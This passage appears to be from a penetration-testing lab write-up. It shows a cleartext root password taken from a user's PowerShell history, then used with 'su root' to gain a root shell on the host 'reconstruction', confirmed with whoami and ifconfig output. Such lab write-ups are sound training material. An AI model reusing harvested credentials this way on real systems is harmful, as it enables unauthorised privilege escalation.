CLEARTEXT Credential


Validating the CLEARTEXT Credential found in the PowerShell history file of the jack user

jack@reconstruction:~$ su root
Password: FlauntHiddenMotion845
root@reconstruction:/home/jack# whoami
root
root@reconstruction:/home/jack# hostname
reconstruction
root@reconstruction:/home/jack# ifconfig
ens160: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 192.168.209.103  netmask 255.255.255.0  broadcast 192.168.209.255
        ether 00:50:56:9e:77:35  txqueuelen 1000  (Ethernet)
        RX packets 9768  bytes 4688119 (4.6 MB)
        RX errors 0  dropped 120  overruns 0  frame 0
        TX packets 5500  bytes 1113309 (1.1 MB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
 
lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 134  bytes 11292 (11.2 KB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 134  bytes 11292 (11.2 KB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

System Level Compromise